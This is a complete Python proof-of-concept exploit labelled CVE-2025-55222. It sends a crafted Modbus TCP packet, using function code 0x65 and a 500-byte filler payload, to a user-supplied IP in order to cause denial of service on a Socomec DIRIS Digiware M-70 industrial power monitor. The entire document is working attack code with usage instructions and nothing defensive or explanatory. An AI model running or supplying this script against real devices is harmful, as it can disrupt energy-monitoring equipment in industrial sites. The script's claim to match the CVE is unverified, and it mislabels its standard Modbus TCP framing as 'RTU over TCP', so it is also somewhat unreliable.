CVE-2025-55222

#!/usr/bin/env python3 """ CVE-2025-55222 PoC - Modbus RTU over TCP DoS for Socomec DIRIS Digiware M-70 Reference: https://www.cve.org/CVERecord?id=CVE-2025-55222 """ import socket import struct import sys def create_modbus_rtu_packet(function_code, data): """ Create a Modbus RTU over TCP packet Modbus RTU over TCP format: - Transaction ID (2 bytes) - Protocol ID (2 bytes) - Length (2 bytes) - Unit ID (1 byte) - Function Code (1 byte) - Data (variable) """ transaction_id = 0x0001 protocol_id = 0x0000 unit_id = 0x01 # Build PDU (Protocol Data Unit) pdu = struct.pack('B', function_code) + data # Build ADU (Application Data Unit) length = 1 + len(pdu) # Unit ID + PDU length adu = struct.pack('>HHH', transaction_id, protocol_id, length) adu += struct.pack('B', unit_id) adu += pdu return adu def send_malicious_packet(target_ip, target_port=503): """ Send a crafted Modbus RTU over TCP packet to trigger DoS This packet is designed to cause service disruption """ sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) try: sock.connect((target_ip, target_port)) # Craft malicious packet with malformed data # Using function code 0x65 (custom) with excessive data length malicious_data = b'\x41' * 500 # Excessive length data packet = create_modbus_rtu_packet(0x65, malicious_data) print(f"[*] Sending malicious packet to {target_ip}:{target_port}") print(f"[*] Packet length: {len(packet)} bytes") sock.send(packet) print("[+] Packet sent successfully") print("[*] Target may be experiencing DoS condition") except socket.error as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 503 send_malicious_packet(target, port)

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